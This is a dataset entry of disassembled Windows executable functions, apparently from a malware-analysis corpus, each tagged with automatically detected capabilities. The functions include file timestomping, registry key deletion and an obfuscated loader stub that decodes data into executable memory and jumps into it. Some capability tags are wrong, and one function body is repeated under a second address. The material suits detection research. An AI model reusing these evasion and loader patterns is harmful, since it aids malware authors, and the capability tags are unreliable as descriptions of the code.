joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40900c
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004065fc
xor eax, eax
push ebp
push 0x4090cc
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 3
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
push eax
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.00406fd4
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00407184
mov eax, dword [ebx]
call fcn.00408ed4
test al, al
jne 0x4090a9
mov word [ebp - 8], 0
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.00406fd4
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00407184
mov eax, dword [ebx]
call fcn.00408ed4
test al, al
jne 0x4090a9
mov eax, ebx
call fcn.00406518
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4090d3
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00406578
lea eax, [ebp - 4]
call fcn.00406518
ret

Function at 0x409a34
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x40f14c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x40f1a5
test eax, edx
je 0x40f1a8
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x40f163
movzx eax, word [eax]
sub eax, ecx
jmp 0x40f18a
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x40f18b
add ecx, 4
js 0x40f17b
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x40f188
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x40f18a
xor eax, eax
ret
test eax, eax
je 0x40f1b4
test edx, edx
jne 0x40f154
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret
Function at 0x40f6c8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, edx
mov ebp, eax
mov byte [esp], 0
mov eax, ebp
test eax, eax
je 0x40f6e0
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x40f6e8
mov al, 1
jmp 0x40f705
movzx esi, word [ebp]
mov eax, esi
call fcn.0040b040
test al, al
jne 0x40f701
cmp si, 0x5f
je 0x40f701
xor eax, eax
jmp 0x40f703
mov al, 1
xor al, 1
test al, al
jne 0x40f795
test bl, bl
je 0x40f755
mov eax, ebp
test eax, eax
je 0x40f71c
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
sub ebx, 2
jl 0x40f791
inc ebx
mov esi, 2
movzx edi, word [ebp + esi*2 - 2]
mov eax, edi
call fcn.0040b054
test al, al
jne 0x40f749
cmp di, 0x5f
je 0x40f749
cmp di, 0x2e
je 0x40f749
xor eax, eax
jmp 0x40f74b
mov al, 1
test al, al
je 0x40f795
inc esi
dec ebx
jne 0x40f729
jmp 0x40f791
mov eax, ebp
test eax, eax
je 0x40f760
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
sub ebx, 2
jl 0x40f791
inc ebx
mov esi, 2
movzx edi, word [ebp + esi*2 - 2]
mov eax, edi
call fcn.0040b054
test al, al
jne 0x40f787
cmp di, 0x5f
je 0x40f787
xor eax, eax
jmp 0x40f789
mov al, 1
test al, al
je 0x40f795
inc esi
dec ebx
jne 0x40f76d
mov byte [esp], 1
movzx eax, byte [esp]
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4101f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, esi
call fcn.00406f40
mov edi, eax
push edi
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x41025a
test ah, 4
je 0x410253
test bl, bl
jne 0x410218
mov al, 1
jmp 0x410281
test al, 0x10
je 0x410220
xor eax, eax
jmp 0x410281
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push edi
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x410244
push eax
call sub.kernel32.dll_CloseHandle_1
mov al, 1
jmp 0x410281
call sub.kernel32.dll_GetLastError_2
mov ebx, eax
cmp ebx, 0x20
sete al
jmp 0x410281
test al, 0x10
sete al
jmp 0x410281
call sub.kernel32.dll_GetLastError_2
mov ebx, eax
cmp ebx, 2
je 0x41027b
cmp ebx, 3
je 0x41027b
cmp ebx, 0x7b
je 0x41027b
mov eax, esi
call fcn.004101b0
test al, al
jne 0x41027f
xor eax, eax
jmp 0x410281
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x410288
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov byte [esp], dl
mov edi, eax
xor ebx, ebx
mov eax, edi
call fcn.00406f40
mov ebp, eax
push ebp
call sub.kernel32.dll_GetFileAttributesW
mov esi, eax
cmp esi, 0xffffffff
je 0x41032f
test esi, 0x400
jne 0x4102c4
test esi, 0x10
setne bl
jmp 0x41034e
cmp byte [esp], 0
je 0x4102f8
push 0
push 0x2000000
push 3
push 0
push 1
push 0x80000000
push ebp
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x41034e
push eax
call sub.kernel32.dll_CloseHandle_1
test esi, 0x10
setne bl
jmp 0x41034e
test esi, 0x10
je 0x410304
mov bl, 1
jmp 0x41034e
push 0
push 0x2000000
push 3
push 0
push 1
push 0x80000000
push ebp
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x41032b
push eax
call sub.kernel32.dll_CloseHandle_1
xor ebx, ebx
jmp 0x41034e
mov bl, 1
jmp 0x41034e
call sub.kernel32.dll_GetLastError_2
cmp eax, 2
je 0x410348
cmp eax, 3
je 0x410348
cmp eax, 0x7b
je 0x410348
cmp eax, 0x35
jne 0x41034c
xor ebx, ebx
jmp 0x41034e
mov bl, 1
mov eax, ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x410454
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes

Disassembly:
push ebx
push esi
push edi
push ebp
mov esi, eax
mov eax, esi
call fcn.00406f40
mov ebp, eax
push ebp
call sub.kernel32.dll_DeleteFileW
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
jne 0x4104a9
call sub.kernel32.dll_GetLastError_2
mov edi, eax
push ebp
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x4104a3
test ah, 4
je 0x4104a3
test al, 0x10
je 0x4104a3
mov eax, esi
call fcn.00406f40
push eax
call sub.kernel32.dll_RemoveDirectoryW
cmp eax, 1
sbb ebx, ebx
inc ebx
jmp 0x4104a9
push edi
call sub.kernel32.dll_SetLastError
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x413fc4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x413ffd
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00406670
jmp 0x414006
mov eax, ebx
mov edx, esi
call fcn.004068c8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x414010
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x414032
movzx eax, word [esp]
jmp 0x414034
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x414cf8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x414e1d
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.00414b00
mov esi, eax
mov eax, dword [0x44a274]
cmp byte [eax], 0
je 0x414dc5
mov eax, dword [0x44a0f4]
call fcn.00404900
call fcn.00404590
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x414cc8]
call fcn.00407f34
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x414e38
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x414e01
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x44a0c4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x44dc50]
call fcn.00407ff8
push eax
call sub.user32.dll_LoadStringW_1
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414e24
lea eax, [ebp - 4]
mov edx, dword [0x414cc8]
call fcn.00407f40
ret

Function at 0x416440
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.004069e4
mov ebp, eax
push ebp
push 0
push 0
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.00409a14
mov edi, eax
cmp edi, 0x104
jbe 0x4163e7
mov eax, edi
add eax, eax
call fcn.0040443c
mov esi, eax
jmp 0x4163e9
mov esi, esp
push ebp
push esi
push edi
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.00409a14
mov eax, esi
push eax
call sub.user32.dll_CharUpperW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x416424
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x41640e
mov eax, esp
cmp esi, eax
je 0x416431
mov eax, esi
call fcn.00404458
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x41646c
cmp bl, 0
je 0x416468
cmp bl, 0x41
jl 0x416463
cmp bl, 0x5a
jg 0x416463
or bl, 0x20
xor al, bl
inc esi
jmp 0x416447
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x4163a8

Function at 0x416c4c
Capabilities:
Get geographical location

Disassembly:
push ebx
add esp, 0xfffff800
mov ebx, ecx
mov word [esp], 0
push 0x400
lea ecx, [esp + 4]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
mov eax, ebx
mov edx, esp
mov ecx, 0x400
call fcn.00406fd4
add esp, 0x800
pop ebx
ret
Function at 0x43d918
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43da93
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00406910
mov eax, dword [ebp - 4]
call fcn.0043d478
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
jne 0x43d96a
lea eax, [ebp - 4]
mov ecx, 1
mov edx, 1
call fcn.0040733c
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.0043e0e8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x43da49
xor eax, eax
push ebp
push 0x43da42
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
call fcn.0043d5f8
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 0xc]
call fcn.0043dac8
test al, al
je 0x43da20
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 8]
xor edx, edx
call fcn.00406670
mov ebx, dword [ebp - 0x38]
dec ebx
cmp ebx, 0
jl 0x43da20
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
call fcn.00406f40
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegEnumKeyExW
mov edx, eax
mov eax, dword [ebp - 0xc]
call fcn.0043d558
test al, al
je 0x43da1a
mov eax, dword [ebp - 8]
call fcn.00406f40
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.00406f98
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xc]
call fcn.0043d918
dec ebx
cmp ebx, 0xffffffff
jne 0x43d9c9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43da49
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
call fcn.0043d5f8
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 4]
call fcn.00406f40
push eax
movzx edx, byte [ebp - 0x11]
mov eax, dword [ebp - 0xc]
call fcn.0043d5e4
push eax
call sub.advapi32.dll_RegDeleteKeyW
mov edx, eax
mov eax, dword [ebp - 0xc]
call fcn.0043d558
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43da9a
lea eax, [ebp - 0x3c]
call fcn.00406518
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406578
ret
Function at 0x43da49
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43da93
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00406910
mov eax, dword [ebp - 4]
call fcn.0043d478
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
jne 0x43d96a
lea eax, [ebp - 4]
mov ecx, 1
mov edx, 1
call fcn.0040733c
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.0043e0e8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x43da49
xor eax, eax
push ebp
push 0x43da42
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
call fcn.0043d5f8
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 0xc]
call fcn.0043dac8
test al, al
je 0x43da20
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 8]
xor edx, edx
call fcn.00406670
mov ebx, dword [ebp - 0x38]
dec ebx
cmp ebx, 0
jl 0x43da20
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
call fcn.00406f40
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegEnumKeyExW
mov edx, eax
mov eax, dword [ebp - 0xc]
call fcn.0043d558
test al, al
je 0x43da1a
mov eax, dword [ebp - 8]
call fcn.00406f40
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.00406f98
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xc]
call fcn.0043d918
dec ebx
cmp ebx, 0xffffffff
jne 0x43d9c9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43da49
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
call fcn.0043d5f8
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 4]
call fcn.00406f40
push eax
movzx edx, byte [ebp - 0x11]
mov eax, dword [ebp - 0xc]
call fcn.0043d5e4
push eax
call sub.advapi32.dll_RegDeleteKeyW
mov edx, eax
mov eax, dword [ebp - 0xc]
call fcn.0043d558
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43da9a
lea eax, [ebp - 0x3c]
call fcn.00406518
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406578
ret
Function at 0x43db34
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x43dbec
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x3c]
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.0043dac8
test al, al
je 0x43dbce
mov ecx, dword [ebp - 0x24]
inc ecx
lea eax, [ebp - 4]
xor edx, edx
call fcn.00406670
mov ebx, dword [ebp - 0x28]
dec ebx
test ebx, ebx
jl 0x43dbce
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00406f40
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.advapi32.dll_RegEnumKeyExW
mov eax, dword [ebp - 4]
call fcn.00406f40
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.00406f98
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
inc esi
dec ebx
jne 0x43db87
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43dbf3
lea eax, [ebp - 0x2c]
call fcn.00406518
lea eax, [ebp - 4]
call fcn.00406518
ret

Function at 0x43dd48
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x43de00
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x3c]
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.0043dac8
test al, al
je 0x43dde2
mov ecx, dword [ebp - 0x1c]
inc ecx
lea eax, [ebp - 4]
xor edx, edx
call fcn.00406670
mov ebx, dword [ebp - 0x20]
dec ebx
test ebx, ebx
jl 0x43dde2
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00406f40
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.advapi32.dll_RegEnumValueW
mov eax, dword [ebp - 4]
call fcn.00406f40
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.00406f98
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
inc esi
dec ebx
jne 0x43dd9b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43de07
lea eax, [ebp - 0x2c]
call fcn.00406518
lea eax, [ebp - 4]
call fcn.00406518
ret
Function at 0x43dfe8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
movzx eax, byte [ebp + 8]
call fcn.0043d490
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00406f40
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExW
mov edx, eax
mov eax, ebx
call fcn.0043d558
test al, al
jne 0x43e050
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0x11
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x44a1ac]
mov dl, 1
mov eax, dword [0x43d2e0]
call fcn.00414f34
call fcn.00405ce0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x43e05c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00406f40
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
mov edx, eax
mov eax, ebx
call fcn.0043d558
test al, al
jne 0x43e0bd
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0x11
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x44a338]
mov dl, 1
mov eax, dword [0x43d2e0]
call fcn.00414f34
call fcn.00405ce0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0043d4c0
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x43e58c
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x43e6c4
push dword fs:[edx]
mov dword fs:[edx], esp
push eax
push 0xa
mov ecx, dword [0x44dc50]
mov dl, 1
mov eax, dword [0x43c914]
call fcn.0043d130
mov dword [ebp - 4], eax
xor edx, edx
push ebp
push 0x43e6a7
push dword fs:[edx]
mov dword fs:[edx], esp
push 0xff00
mov ecx, ebx
mov dl, 1
mov eax, dword [0x43c770]
call fcn.0043ce50
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x43e68a
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.0043ccc0
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.004047fc
mov eax, dword [ebp - 0x28]
mov edx, 0x40
call fcn.0041005c
mov dword [ebp - 0x24], eax
xor edx, edx
push ebp
push 0x43e66d
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_GetFileTime
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_SetFileTime
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e674
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
Function at 0x43e7bc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0x41c], ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x43e881
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x2e
lea eax, [ebp - 0x412]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathW
test eax, eax
je 0x43e846
lea eax, [ebp - 0x412]
call fcn.004069f8
mov esi, eax
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x41c]
lea edx, [ebp - 0x412]
mov ecx, 0x209
call fcn.00406fd4
mov eax, dword [ebp - 0x41c]
mov ecx, esi
mov edx, 1
call fcn.004072f4
mov eax, dword [ebp - 0x418]
mov edx, ebx
call fcn.00415ec4
jmp 0x43e84b
call fcn.0041659c
push dword [ebx]
push 0x43e89c
push 0x43e8ac
mov eax, ebx
mov edx, 3
call fcn.0040720c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e888
lea eax, [ebp - 0x41c]
mov edx, 2
call fcn.00406578
ret
Function at 0x78bb1eb3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x78bbe5b0]
jne 0x78bb1ebd
repz ret
jmp fcn.78bb557c

Function at 0x78bb2030
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x78bb203f
pop dword [ebp - 0x2c]
mov eax, 0x78bb203f
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x499790ee
sub dword [ebp - 0x3c], 0xfb454ba3
mov dword [ebp - 0x38], 0xbd235ca5
sub dword [ebp - 0x38], 0x8af01060
mov dword [ebp - 0x34], 0x67d856b3
sub dword [ebp - 0x34], 0x1b8c1285
mov dword [ebp - 0x30], 0xa987e9c
sub dword [ebp - 0x30], 0xa987e9c
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xf9bb5beb
sub eax, 0x81014b63
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x5dbf3137
add dword [ebp - 0x3c], 0x16b3381f
mov dword [ebp - 0x38], 0x2f12830c
add dword [ebp - 0x38], 0x1259de69
mov dword [ebp - 0x34], 0x327e2d88
add dword [ebp - 0x34], 0x30f13ee4
mov dword [ebp - 0x30], 0x19dbf6d7
add dword [ebp - 0x30], 0xe6240929
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3feee
push 0
call eax
mov ecx, 0x6f663257
add ecx, 0x909a238f
xor esi, esi
add esi, eax
mov edx, 0x78bc3600
add edx, dword [ebp - 0x2c]
mov edi, 0xf0e3c4eb
add edi, 0xd9e5fdaf
xor dword [ebp - 0x10], ecx
mov ebx, dword [edx]
add dword [ebp - 0x24], 0x5320733b
add ebx, edi
sub dword [ebp - 0xc], 0x4ef84b54
mov dword [esi], ebx
add dword [ebp - 4], 0x135b2ceb
add esi, 0xe9850c6
add esi, 0xf167af3e
add edx, 0x464dbe2
sub edx, 0x464dbde
loop 0x78bb2153
add eax, 0x14a6b
xor ebx, ebx
add ebx, eax
add eax, 0xf560f581
sub eax, 0xf560f57c
mov ecx, 0x78ba0000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret